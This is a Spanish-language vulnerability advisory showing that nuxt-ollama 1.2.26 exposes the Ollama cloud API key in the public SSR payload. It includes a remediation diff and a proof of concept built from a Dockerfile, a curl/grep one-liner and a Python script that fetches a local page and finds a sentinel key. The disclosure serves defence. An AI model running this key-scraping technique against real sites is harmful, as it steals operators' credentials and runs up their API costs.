Exposición de credenciales en la configuración pública del runtime de Nuxt
Resumen
nuxt-ollama@1.2.26 fusiona incondicionalmente todas las opciones del módulo, incluyendo api_key, en la configuración de runtime pública de Nuxt (runtimeConfig.public.ollama). Nuxt serializa runtimeConfig.public en la respuesta HTML del SSR dentro de un bloque de payload <script> (window.__NUXT__), lo que hace que la API key quede visible en texto plano para cualquier cliente HTTP no autenticado que solicite la página. Un atacante sin credenciales puede robar la API key de Ollama cloud con una única petición HTTP GET y utilizarla para realizar peticiones arbitrarias a la API de Ollama a expensas del operador.
Detalles técnicos
La vulnerabilidad es un defecto de diseño en src/module.ts. Durante la inicialización del módulo Nuxt, el objeto completo _options, que contiene api_key cuando se configura para Ollama cloud según la documentación en README.md:71-80, se fusiona en el espacio de nombres de la configuración de runtime pública:
// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, _options)
El pipeline SSR de Nuxt serializa runtimeConfig.public y lo embebe en cada página HTML renderizada en servidor para la hidratación del lado cliente. Esto resulta en que api_key aparezca literalmente en el bloque de script window.__NUXT__:
<script>
window.__NUXT__={};
window.__NUXT__.config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api_key:"LEAKED_TEST_KEY_123" // secreto expuesto al navegador
}
}
}
</script>
El composable del lado cliente (src/runtime/composables/useOllama.ts) lee este valor y lo envía como cabecera Authorization: Bearer en las llamadas a la API de Ollama desde el cliente:
// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api_key) {
headers.Authorization = `Bearer ${options.api_key}`
}
return new Ollama({ host, proxy: options.proxy, headers })
El flujo completo de datos desde el origen hasta el sumidero es el siguiente:
README.md:71-80: la documentación oficial instruye a los usuarios a establecerollama.api_keypara modelos Ollama cloud.src/module.ts:35-36(origen):api_keyse fusiona enruntimeConfig.public.ollama.- Runtime SSR de Nuxt:
runtimeConfig.publicse serializa en el payload HTML__NUXT__. src/runtime/composables/useOllama.ts:6: el composable del navegador leeuseRuntimeConfig().public.ollama.src/runtime/composables/useOllama.ts:8-10(sumidero):options.api_keyse convierte enheaders.Authorizationen la petición HTTP del lado cliente.
El valor de api_key nunca es privado (es decir, nunca se coloca en runtimeConfig.ollama) y no existe ningún proceso de saneamiento que lo elimine del espacio de nombres público antes de la serialización.
Remediación recomendada: Mover api_key a la configuración de runtime privada y eliminarlo del composable del navegador:
- const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
- runtimeConfig.public.ollama = defu(currentConfig, _options)
+ const { api_key, ...publicOptions } = _options
+ const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'>
+ runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
+ const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'>
+ runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })
La api_key debería consumirse únicamente en la utilidad del lado servidor (src/runtime/server/utils/useOllama.ts) mediante useRuntimeConfig().ollama.api_key.
Prueba de concepto (PoC)
Requisitos previos: Docker, Python 3
Paso 1: Construir el contenedor de la aplicación Nuxt vulnerable
docker build \
-f /path/to/vuln-001/Dockerfile \
-t nuxt-ollama-vuln-001 \
/path/to/npmAI_735_thoda-dev__nuxt-ollama
El Dockerfile utiliza el código fuente de nuxt-ollama en el commit 6989ea8 e inyecta la siguiente configuración playground/nuxt.config.ts, que reproduce exactamente el patrón de configuración cloud documentado en README.md:71-80:
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api_key: 'LEAKED_TEST_KEY_123' // clave centinela
}
})
Paso 2: Iniciar el contenedor
docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001
Paso 3: Recuperar la API key con una única petición HTTP no autenticada
curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"'
# Resultado esperado: api_key":"LEAKED_TEST_KEY_123"
Script PoC automatizado
python3 /path/to/vuln-001/poc.py
Salida esperada (confirmada en reproducción dinámica):
window.__NUXT__.config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api_key:"LEAKED_TEST_KEY_123"
}
}
}
La clave centinela LEAKED_TEST_KEY_123 aparece en el cuerpo HTML de una respuesta HTTP GET no autenticada, confirmando la filtración.
Impacto
Esta es una vulnerabilidad de exposición de credenciales (CWE-522). Cualquier parte no autenticada, incluyendo observadores pasivos de red, rastreadores web o visitantes anónimos, que solicite la página HTML de una aplicación que use nuxt-ollama con una api_key cloud configurada puede extraer la API key del payload del script __NUXT__.
Quiénes se ven afectados:
- Operadores y desarrolladores que siguen la documentación oficial para configurar
ollama.api_keypara modelos Ollama cloud. Desconocen que la clave se está publicando a cada visitante. - Usuarios finales de aplicaciones construidas con este módulo no están directamente en riesgo, pero sus peticiones pueden verse interceptadas o el servicio degradado si los atacantes agotan los límites de tasa o las cuotas de facturación con la clave robada.
Consecuencias potenciales del robo de la clave:
- Uso no autorizado de la API cloud de Ollama a costa del operador.
- Agotamiento de límites de tasa o abuso de cuotas.
- Exfiltración de datos si la clave comprometida tiene acceso de lectura a modelos almacenados o conversaciones.
- Daño reputacional e interrupción del servicio para la aplicación afectada.
La vulnerabilidad no requiere ninguna condición especial más allá de que el operador siga la configuración documentada. El atacante no necesita interacción del usuario ni autenticación previa.
Artefactos de reproducción
Dockerfile
# syntax=docker/dockerfile:1
# VULN-001 PoC: nuxt-ollama@1.2.26 - Public Runtime Config Exposes Ollama API Key
# CWE-522: Insufficiently Protected Credentials
# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
FROM node:20-alpine
RUN npm install -g pnpm@10.33.4
WORKDIR /app
COPY repo/ ./
RUN pnpm install --frozen-lockfile
RUN cat > playground/nuxt.config.ts << 'EOF'
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api_key: 'LEAKED_TEST_KEY_123'
}
})
EOF
RUN cat > playground/app.vue << 'EOF'
<template>
<div>nuxt-ollama VULN-001 PoC - check Nuxt SSR payload for api_key</div>
</template>
EOF
RUN pnpm exec nuxi build playground
EXPOSE 3000
ENV HOST=0.0.0.0
ENV PORT=3000
ENV NITRO_HOST=0.0.0.0
ENV NITRO_PORT=3000
CMD ["node", "/app/playground/.output/server/index.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Paquete : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)
Titulo : Public Runtime Config Exposes Ollama API Key to Browser Clients
CWE : CWE-522 - Insufficiently Protected Credentials
CVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
"""
import json
import os
import subprocess
import sys
import time
import urllib.request
TARGET_KEY = "LEAKED_TEST_KEY_123"
IMAGE_NAME = "nuxt-ollama-vuln-001"
CONTAINER_NAME = "nuxt-ollama-poc-001"
HOST = "127.0.0.1"
PORT = 3000
URL = f"http://{HOST}:{PORT}/"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PARENT_DIR = os.path.dirname(SCRIPT_DIR)
DOCKERFILE = os.path.join(SCRIPT_DIR, "Dockerfile")
RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json")
BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}"
RUN_CMD = f"docker run -d --name {CONTAINER_NAME} -p {PORT}:{PORT} {IMAGE_NAME}"
POC_CMD = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}"
def run_cmd(cmd_list, check=True, capture=False):
print(f"[cmd] {' '.join(cmd_list)}", flush=True)
return subprocess.run(cmd_list, check=check, capture_output=capture, text=bool(capture))
def cleanup_container():
subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True)
def wait_for_server(url, timeout=180, interval=5):
print(f"[*] Esperando servidor en {url} (timeout={timeout}s)", flush=True)
deadline = time.time() + timeout
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=5) as resp:
if resp.status < 500:
print(f"[+] Servidor activo - HTTP {resp.status}", flush=True)
return True
except Exception:
pass
time.sleep(interval)
return False
def save_result(data):
with open(RESULT_FILE, "w", encoding="utf-8") as fh:
json.dump(data, fh, ensure_ascii=False, indent=2)
print(f"\n[*] Resultado guardado en {RESULT_FILE}", flush=True)
def main():
print("=" * 66)
print("VULN-001 PoC - nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload")
print("=" * 66, flush=True)
cleanup_container()
print("\n[PASO 1] Construyendo imagen Docker (puede tardar varios minutos) ...", flush=True)
build_rc = run_cmd(
["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR],
check=False,
).returncode
if build_rc != 0:
save_result({
"passed": False, "verdict": "FAIL",
"reason": "Fallo en la construccion de la imagen Docker.",
"build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
"evidence": f"docker build salio con returncode={build_rc}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
print("[+] Imagen construida correctamente.", flush=True)
print("\n[PASO 2] Iniciando contenedor ...", flush=True)
run_rc = run_cmd(
["docker", "run", "-d", "--name", CONTAINER_NAME, "-p", f"{PORT}:{PORT}", IMAGE_NAME],
check=False,
).returncode
if run_rc != 0:
save_result({
"passed": False, "verdict": "FAIL",
"reason": "Fallo al iniciar el contenedor Docker.",
"build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
"evidence": f"docker run salio con returncode={run_rc}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
print("\n[PASO 3] Esperando servidor SSR de Nuxt ...", flush=True)
if not wait_for_server(URL, timeout=180):
logs = subprocess.run(["docker", "logs", CONTAINER_NAME], capture_output=True, text=True)
log_snippet = (logs.stdout + logs.stderr)[-2000:]
save_result({
"passed": False, "verdict": "INCOMPLETE",
"reason": "El servidor SSR de Nuxt no respondio en 180 segundos.",
"build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
"evidence": log_snippet, "artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(1)
print(f"\n[PASO 4] GET {URL} ...", flush=True)
try:
with urllib.request.urlopen(URL, timeout=15) as resp:
html = resp.read().decode("utf-8", errors="replace")
except Exception as exc:
save_result({
"passed": False, "verdict": "FAIL",
"reason": f"Fallo en la peticion HTTP: {exc}",
"build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
"evidence": str(exc), "artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(1)
print(f"[+] Recibidos {len(html)} bytes.", flush=True)
print(f"\n[PASO 5] Buscando '{TARGET_KEY}' en la respuesta ...", flush=True)
if TARGET_KEY in html:
idx = html.index(TARGET_KEY)
start = max(0, idx - 200)
end = min(len(html), idx + len(TARGET_KEY) + 200)
excerpt = html[start:end].strip()
print(f"\n{'='*66}")
print("[PASS] VULNERABILIDAD CONFIRMADA")
print(f"'{TARGET_KEY}' presente en la respuesta HTTP no autenticada.")
print(f"{'='*66}")
print(f"Extracto de evidencia:\n\n{excerpt}\n")
save_result({
"passed": True, "verdict": "PASS",
"reason": (
"nuxt-ollama@1.2.26 fusiona api_key en runtimeConfig.public.ollama "
"(src/module.ts:36). Nuxt SSR serializa ese valor en el payload HTML "
"__NUXT__, exponiendo LEAKED_TEST_KEY_123 en texto plano ante "
"cualquier peticion GET no autenticada."
),
"build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
"evidence": excerpt, "artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(0)
else:
snippet = html[:3000]
print(f"[FAIL] '{TARGET_KEY}' NO encontrado en el cuerpo de la respuesta HTTP.")
save_result({
"passed": False, "verdict": "FAIL",
"reason": f"'{TARGET_KEY}' no encontrado. Posible diferencia en formato de serializacion.",
"build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
"evidence": snippet[:1500], "artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(1)
if __name__ == "__main__":
main()
